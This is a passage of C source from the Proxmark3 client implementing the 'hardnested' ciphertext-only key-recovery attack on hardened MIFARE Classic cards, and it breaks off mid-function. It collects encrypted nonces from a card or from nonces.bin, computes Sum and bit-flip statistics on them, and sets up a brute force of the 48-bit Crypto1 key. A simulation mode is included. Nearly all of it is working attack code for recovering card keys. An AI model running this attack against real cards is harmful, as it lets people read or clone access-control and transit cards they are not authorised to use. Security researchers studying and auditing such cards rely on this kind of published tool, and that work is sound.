1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
23 #include "proxmark3.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
33 // don't include for APPLE/mac which has malloc stuff elsewhere.
39 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
40 #define GOOD_BYTES_REQUIRED 13 // default 28, could be smaller == faster
42 #define END_OF_LIST_MARKER 0xFFFFFFFF
44 static const float p_K
[257] = { // the probability that a random nonce has a Sum Property == K
45 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
73 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
74 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
75 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
76 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
79 typedef struct noncelistentry
{
85 typedef struct noncelist
{
92 noncelistentry_t
*first
;
96 static size_t nonces_to_bruteforce
= 0;
97 static noncelistentry_t
*brute_force_nonces
[256];
98 static uint32_t cuid
= 0;
99 static noncelist_t nonces
[256];
100 static uint8_t best_first_bytes
[256];
101 static uint16_t first_byte_Sum
= 0;
102 static uint16_t first_byte_num
= 0;
103 static uint16_t num_good_first_bytes
= 0;
104 static uint64_t maximum_states
= 0;
105 static uint64_t known_target_key
;
106 static bool write_stats
= false;
107 static FILE *fstats
= NULL
;
115 #define STATELIST_INDEX_WIDTH 16
116 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
121 uint32_t *index
[2][STATELIST_INDEX_SIZE
];
122 } partial_indexed_statelist_t
;
131 static partial_indexed_statelist_t partial_statelist
[17];
132 static partial_indexed_statelist_t statelist_bitflip
;
133 static statelist_t
*candidates
= NULL
;
135 static bool generate_candidates(uint16_t, uint16_t);
136 static bool brute_force(void);
138 static int add_nonce(uint32_t nonce_enc
, uint8_t par_enc
)
140 uint8_t first_byte
= nonce_enc
>> 24;
141 noncelistentry_t
*p1
= nonces
[first_byte
].first
;
142 noncelistentry_t
*p2
= NULL
;
144 if (p1
== NULL
) { // first nonce with this 1st byte
146 first_byte_Sum
+= evenparity32((nonce_enc
& 0xff000000) | (par_enc
& 0x08));
147 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
150 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
151 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
154 while (p1
!= NULL
&& (p1
->nonce_enc
& 0x00ff0000) < (nonce_enc
& 0x00ff0000)) {
159 if (p1
== NULL
) { // need to add at the end of the list
160 if (p2
== NULL
) { // list is empty yet. Add first entry.
161 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
162 } else { // add new entry at end of existing list.
163 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
165 } else if ((p1
->nonce_enc
& 0x00ff0000) != (nonce_enc
& 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
166 if (p2
== NULL
) { // need to insert at start of list
167 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
169 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
171 } else { // we have seen this 2nd byte before. Nothing to add or insert.
175 // add or insert new data
177 p2
->nonce_enc
= nonce_enc
;
178 p2
->par_enc
= par_enc
;
180 if(nonces_to_bruteforce
< 256){
181 brute_force_nonces
[nonces_to_bruteforce
] = p2
;
182 nonces_to_bruteforce
++;
185 nonces
[first_byte
].num
++;
186 nonces
[first_byte
].Sum
+= evenparity32((nonce_enc
& 0x00ff0000) | (par_enc
& 0x04));
187 nonces
[first_byte
].updated
= true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
189 return (1); // new nonce added
192 static void init_nonce_memory(void)
194 for (uint16_t i
= 0; i
< 256; i
++) {
197 nonces
[i
].Sum8_guess
= 0;
198 nonces
[i
].Sum8_prob
= 0.0;
199 nonces
[i
].updated
= true;
200 nonces
[i
].first
= NULL
;
204 num_good_first_bytes
= 0;
207 static void free_nonce_list(noncelistentry_t
*p
)
212 free_nonce_list(p
->next
);
217 static void free_nonces_memory(void)
219 for (uint16_t i
= 0; i
< 256; i
++) {
220 free_nonce_list(nonces
[i
].first
);
224 static uint16_t PartialSumProperty(uint32_t state
, odd_even_t odd_even
)
227 for (uint16_t j
= 0; j
< 16; j
++) {
229 uint16_t part_sum
= 0;
230 if (odd_even
== ODD_STATE
) {
231 for (uint16_t i
= 0; i
< 5; i
++) {
232 part_sum
^= filter(st
);
233 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
235 part_sum
^= 1; // XOR 1 cancelled out for the other 8 bits
237 for (uint16_t i
= 0; i
< 4; i
++) {
238 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
239 part_sum
^= filter(st
);
247 // static uint16_t SumProperty(struct Crypto1State *s)
249 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
250 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
251 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
254 static double p_hypergeometric(uint16_t N
, uint16_t K
, uint16_t n
, uint16_t k
)
256 // for efficient computation we are using the recursive definition
258 // P(X=k) = P(X=k-1) * --------------------
261 // (N-K)*(N-K-1)*...*(N-K-n+1)
262 // P(X=0) = -----------------------------
263 // N*(N-1)*...*(N-n+1)
265 if (n
-k
> N
-K
|| k
> K
) return 0.0; // avoids log(x<=0) in calculation below
267 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
268 double log_result
= 0.0;
269 for (int16_t i
= N
-K
; i
>= N
-K
-n
+1; i
--) {
270 log_result
+= log(i
);
272 for (int16_t i
= N
; i
>= N
-n
+1; i
--) {
273 log_result
-= log(i
);
275 return exp(log_result
);
277 if (n
-k
== N
-K
) { // special case. The published recursion below would fail with a divide by zero exception
278 double log_result
= 0.0;
279 for (int16_t i
= k
+1; i
<= n
; i
++) {
280 log_result
+= log(i
);
282 for (int16_t i
= K
+1; i
<= N
; i
++) {
283 log_result
-= log(i
);
285 return exp(log_result
);
286 } else { // recursion
287 return (p_hypergeometric(N
, K
, n
, k
-1) * (K
-k
+1) * (n
-k
+1) / (k
* (N
-K
-n
+k
)));
292 static float sum_probability(uint16_t K
, uint16_t n
, uint16_t k
)
294 const uint16_t N
= 256;
296 if (k
> K
|| p_K
[K
] == 0.0) return 0.0;
298 double p_T_is_k_when_S_is_K
= p_hypergeometric(N
, K
, n
, k
);
299 double p_S_is_K
= p_K
[K
];
301 for (uint16_t i
= 0; i
<= 256; i
++) {
303 p_T_is_k
+= p_K
[i
] * p_hypergeometric(N
, i
, n
, k
);
306 return(p_T_is_k_when_S_is_K
* p_S_is_K
/ p_T_is_k
);
310 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff
)
312 static const uint_fast8_t common_bits_LUT
[256] = {
313 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
322 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
323 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
324 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
325 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
326 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
327 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
328 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
331 return common_bits_LUT
[bytes_diff
];
336 // printf("Tests: Partial Statelist sizes\n");
337 // for (uint16_t i = 0; i <= 16; i+=2) {
338 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
340 // for (uint16_t i = 0; i <= 16; i+=2) {
341 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
344 // #define NUM_STATISTICS 100000
345 // uint32_t statistics_odd[17];
346 // uint64_t statistics[257];
347 // uint32_t statistics_even[17];
348 // struct Crypto1State cs;
349 // time_t time1 = clock();
351 // for (uint16_t i = 0; i < 257; i++) {
352 // statistics[i] = 0;
354 // for (uint16_t i = 0; i < 17; i++) {
355 // statistics_odd[i] = 0;
356 // statistics_even[i] = 0;
359 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
360 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
361 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
362 // uint16_t sum_property = SumProperty(&cs);
363 // statistics[sum_property] += 1;
364 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
365 // statistics_even[sum_property]++;
366 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
367 // statistics_odd[sum_property]++;
368 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
371 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
372 // for (uint16_t i = 0; i < 257; i++) {
373 // if (statistics[i] != 0) {
374 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
377 // for (uint16_t i = 0; i <= 16; i++) {
378 // if (statistics_odd[i] != 0) {
379 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
382 // for (uint16_t i = 0; i <= 16; i++) {
383 // if (statistics_odd[i] != 0) {
384 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
388 // printf("Tests: Sum Probabilities based on Partial Sums\n");
389 // for (uint16_t i = 0; i < 257; i++) {
390 // statistics[i] = 0;
392 // uint64_t num_states = 0;
393 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
394 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
395 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
396 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
397 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
400 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
401 // for (uint16_t i = 0; i < 257; i++) {
402 // if (statistics[i] != 0) {
403 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
407 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
408 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
409 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
410 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
411 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
412 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
413 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
415 // struct Crypto1State *pcs;
416 // pcs = crypto1_create(0xffffffffffff);
417 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
418 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
419 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
420 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
421 // best_first_bytes[0],
423 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
424 // //test_state_odd = pcs->odd & 0x00ffffff;
425 // //test_state_even = pcs->even & 0x00ffffff;
426 // crypto1_destroy(pcs);
427 // pcs = crypto1_create(0xa0a1a2a3a4a5);
428 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
429 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
430 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
431 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
432 // best_first_bytes[0],
434 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
435 // //test_state_odd = pcs->odd & 0x00ffffff;
436 // //test_state_even = pcs->even & 0x00ffffff;
437 // crypto1_destroy(pcs);
438 // pcs = crypto1_create(0xa6b9aa97b955);
439 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
440 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
441 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
442 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
443 // best_first_bytes[0],
445 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
446 //test_state_odd = pcs->odd & 0x00ffffff;
447 //test_state_even = pcs->even & 0x00ffffff;
448 // crypto1_destroy(pcs);
451 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
453 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
454 // for (uint16_t i = 0; i < 256; i++) {
455 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
461 // printf("\nTests: Sorted First Bytes:\n");
462 // for (uint16_t i = 0; i < 256; i++) {
463 // uint8_t best_byte = best_first_bytes[i];
464 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
465 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
467 // nonces[best_byte].num,
468 // nonces[best_byte].Sum,
469 // nonces[best_byte].Sum8_guess,
470 // nonces[best_byte].Sum8_prob * 100,
471 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
472 // //nonces[best_byte].score1,
473 // //nonces[best_byte].score2
477 // printf("\nTests: parity performance\n");
478 // time_t time1p = clock();
479 // uint32_t par_sum = 0;
480 // for (uint32_t i = 0; i < 100000000; i++) {
481 // par_sum += parity(i);
483 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
487 // for (uint32_t i = 0; i < 100000000; i++) {
488 // par_sum += evenparity32(i);
490 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
495 static void sort_best_first_bytes(void)
497 // sort based on probability for correct guess
498 for (uint16_t i
= 0; i
< 256; i
++ ) {
500 float prob1
= nonces
[i
].Sum8_prob
;
501 float prob2
= nonces
[best_first_bytes
[0]].Sum8_prob
;
502 while (prob1
< prob2
&& j
< i
) {
503 prob2
= nonces
[best_first_bytes
[++j
]].Sum8_prob
;
506 for (uint16_t k
= i
; k
> j
; k
--) {
507 best_first_bytes
[k
] = best_first_bytes
[k
-1];
510 best_first_bytes
[j
] = i
;
513 // determine how many are above the CONFIDENCE_THRESHOLD
514 uint16_t num_good_nonces
= 0;
515 for (uint16_t i
= 0; i
< 256; i
++) {
516 if (nonces
[best_first_bytes
[i
]].Sum8_prob
>= CONFIDENCE_THRESHOLD
) {
521 uint16_t best_first_byte
= 0;
523 // select the best possible first byte based on number of common bits with all {b'}
524 // uint16_t max_common_bits = 0;
525 // for (uint16_t i = 0; i < num_good_nonces; i++) {
526 // uint16_t sum_common_bits = 0;
527 // for (uint16_t j = 0; j < num_good_nonces; j++) {
529 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
532 // if (sum_common_bits > max_common_bits) {
533 // max_common_bits = sum_common_bits;
534 // best_first_byte = i;
538 // select best possible first byte {b} based on least likely sum/bitflip property
540 for (uint16_t i
= 0; i
< num_good_nonces
; i
++ ) {
541 uint16_t sum8
= nonces
[best_first_bytes
[i
]].Sum8_guess
;
542 float bitflip_prob
= 1.0;
543 if (nonces
[best_first_bytes
[i
]].BitFlip
[ODD_STATE
] || nonces
[best_first_bytes
[i
]].BitFlip
[EVEN_STATE
]) {
544 bitflip_prob
= 0.09375;
546 nonces
[best_first_bytes
[i
]].score1
= p_K
[sum8
] * bitflip_prob
;
547 if (p_K
[sum8
] * bitflip_prob
<= min_p_K
) {
548 min_p_K
= p_K
[sum8
] * bitflip_prob
;
553 // use number of commmon bits as a tie breaker
554 uint16_t max_common_bits
= 0;
555 for (uint16_t i
= 0; i
< num_good_nonces
; i
++) {
556 float bitflip_prob
= 1.0;
557 if (nonces
[best_first_bytes
[i
]].BitFlip
[ODD_STATE
] || nonces
[best_first_bytes
[i
]].BitFlip
[EVEN_STATE
]) {
558 bitflip_prob
= 0.09375;
560 if (p_K
[nonces
[best_first_bytes
[i
]].Sum8_guess
] * bitflip_prob
== min_p_K
) {
561 uint16_t sum_common_bits
= 0;
562 for (uint16_t j
= 0; j
< num_good_nonces
; j
++) {
563 sum_common_bits
+= common_bits(best_first_bytes
[i
] ^ best_first_bytes
[j
]);
565 nonces
[best_first_bytes
[i
]].score2
= sum_common_bits
;
566 if (sum_common_bits
> max_common_bits
) {
567 max_common_bits
= sum_common_bits
;
573 // swap best possible first byte to the pole position
574 uint16_t temp
= best_first_bytes
[0];
575 best_first_bytes
[0] = best_first_bytes
[best_first_byte
];
576 best_first_bytes
[best_first_byte
] = temp
;
580 static uint16_t estimate_second_byte_sum(void)
583 for (uint16_t first_byte
= 0; first_byte
< 256; first_byte
++) {
584 float Sum8_prob
= 0.0;
586 if (nonces
[first_byte
].updated
) {
587 for (uint16_t sum
= 0; sum
<= 256; sum
++) {
588 float prob
= sum_probability(sum
, nonces
[first_byte
].num
, nonces
[first_byte
].Sum
);
589 if (prob
> Sum8_prob
) {
594 nonces
[first_byte
].Sum8_guess
= Sum8
;
595 nonces
[first_byte
].Sum8_prob
= Sum8_prob
;
596 nonces
[first_byte
].updated
= false;
600 sort_best_first_bytes();
602 uint16_t num_good_nonces
= 0;
603 for (uint16_t i
= 0; i
< 256; i
++) {
604 if (nonces
[best_first_bytes
[i
]].Sum8_prob
>= CONFIDENCE_THRESHOLD
) {
609 return num_good_nonces
;
612 static int read_nonce_file(void)
614 FILE *fnonces
= NULL
;
615 uint8_t trgBlockNo
= 0;
616 uint8_t trgKeyType
= 0;
618 uint32_t nt_enc1
= 0, nt_enc2
= 0;
620 int total_num_nonces
= 0;
622 if ((fnonces
= fopen("nonces.bin","rb")) == NULL
) {
623 PrintAndLog("Could not open file nonces.bin");
627 PrintAndLog("Reading nonces from file nonces.bin...");
628 size_t bytes_read
= fread(read_buf
, 1, 6, fnonces
);
629 if ( bytes_read
== 0) {
630 PrintAndLog("File reading error.");
634 cuid
= bytes_to_num(read_buf
, 4);
635 trgBlockNo
= bytes_to_num(read_buf
+4, 1);
636 trgKeyType
= bytes_to_num(read_buf
+5, 1);
638 while (fread(read_buf
, 1, 9, fnonces
) == 9) {
639 nt_enc1
= bytes_to_num(read_buf
, 4);
640 nt_enc2
= bytes_to_num(read_buf
+4, 4);
641 par_enc
= bytes_to_num(read_buf
+8, 1);
642 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
643 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
644 add_nonce(nt_enc1
, par_enc
>> 4);
645 add_nonce(nt_enc2
, par_enc
& 0x0f);
646 total_num_nonces
+= 2;
649 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces
, cuid
, trgBlockNo
, trgKeyType
==0?'A':'B');
653 static void Check_for_FilterFlipProperties(void)
655 printf("Checking for Filter Flip Properties...\n");
657 uint16_t num_bitflips
= 0;
659 for (uint16_t i
= 0; i
< 256; i
++) {
660 nonces
[i
].BitFlip
[ODD_STATE
] = false;
661 nonces
[i
].BitFlip
[EVEN_STATE
] = false;
664 for (uint16_t i
= 0; i
< 256; i
++) {
665 uint8_t parity1
= (nonces
[i
].first
->par_enc
) >> 3; // parity of first byte
666 uint8_t parity2_odd
= (nonces
[i
^0x80].first
->par_enc
) >> 3; // XOR 0x80 = last bit flipped
667 uint8_t parity2_even
= (nonces
[i
^0x40].first
->par_enc
) >> 3; // XOR 0x40 = second last bit flipped
669 if (parity1
== parity2_odd
) { // has Bit Flip Property for odd bits
670 nonces
[i
].BitFlip
[ODD_STATE
] = true;
672 } else if (parity1
== parity2_even
) { // has Bit Flip Property for even bits
673 nonces
[i
].BitFlip
[EVEN_STATE
] = true;
679 fprintf(fstats
, "%d;", num_bitflips
);
683 static void simulate_MFplus_RNG(uint32_t test_cuid
, uint64_t test_key
, uint32_t *nt_enc
, uint8_t *par_enc
)
685 struct Crypto1State sim_cs
= {0, 0};
686 // init cryptostate with key:
687 for(int8_t i
= 47; i
> 0; i
-= 2) {
688 sim_cs
.odd
= sim_cs
.odd
<< 1 | BIT(test_key
, (i
- 1) ^ 7);
689 sim_cs
.even
= sim_cs
.even
<< 1 | BIT(test_key
, i
^ 7);
693 uint32_t nt
= (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
694 for (int8_t byte_pos
= 3; byte_pos
>= 0; byte_pos
--) {
695 uint8_t nt_byte_dec
= (nt
>> (8*byte_pos
)) & 0xff;
696 uint8_t nt_byte_enc
= crypto1_byte(&sim_cs
, nt_byte_dec
^ (test_cuid
>> (8*byte_pos
)), false) ^ nt_byte_dec
; // encode the nonce byte
697 *nt_enc
= (*nt_enc
<< 8) | nt_byte_enc
;
698 uint8_t ks_par
= filter(sim_cs
.odd
); // the keystream bit to encode/decode the parity bit
699 uint8_t nt_byte_par_enc
= ks_par
^ oddparity8(nt_byte_dec
); // determine the nt byte's parity and encode it
700 *par_enc
= (*par_enc
<< 1) | nt_byte_par_enc
;
705 static void simulate_acquire_nonces()
707 clock_t time1
= clock();
708 bool filter_flip_checked
= false;
709 uint32_t total_num_nonces
= 0;
710 uint32_t next_fivehundred
= 500;
711 uint32_t total_added_nonces
= 0;
713 cuid
= (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
714 known_target_key
= ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
716 printf("Simulating nonce acquisition for target key %012"llx
", cuid %08x ...\n", known_target_key
, cuid
);
717 fprintf(fstats
, "%012"llx
";%08x;", known_target_key
, cuid
);
723 simulate_MFplus_RNG(cuid
, known_target_key
, &nt_enc
, &par_enc
);
724 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
725 total_added_nonces
+= add_nonce(nt_enc
, par_enc
);
728 if (first_byte_num
== 256 ) {
729 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
730 if (!filter_flip_checked
) {
731 Check_for_FilterFlipProperties();
732 filter_flip_checked
= true;
734 num_good_first_bytes
= estimate_second_byte_sum();
735 if (total_num_nonces
> next_fivehundred
) {
736 next_fivehundred
= (total_num_nonces
/500+1) * 500;
737 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
740 CONFIDENCE_THRESHOLD
* 100.0,
741 num_good_first_bytes
);
745 } while (num_good_first_bytes
< GOOD_BYTES_REQUIRED
);
747 time1
= clock() - time1
;
749 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
751 ((float)time1
)/CLOCKS_PER_SEC
,
752 total_num_nonces
* 60.0 * CLOCKS_PER_SEC
/(float)time1
);
754 fprintf(fstats
, "%d;%d;%d;%1.2f;", total_num_nonces
, total_added_nonces
, num_good_first_bytes
, CONFIDENCE_THRESHOLD
);
758 static int acquire_nonces(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, bool nonce_file_write
, bool slow
)
760 clock_t time1
= clock();
761 bool initialize
= true;
762 bool field_off
= false;
763 bool finished
= false;
764 bool filter_flip_checked
= false;
766 uint8_t write_buf
[9];
767 uint32_t total_num_nonces
= 0;
768 uint32_t next_fivehundred
= 500;
769 uint32_t total_added_nonces
= 0;
771 FILE *fnonces
= NULL
;
774 printf("Acquiring nonces...\n");
776 clearCommandBuffer();
780 flags
|= initialize
? 0x0001 : 0;
781 flags
|= slow
? 0x0002 : 0;
782 flags
|= field_off
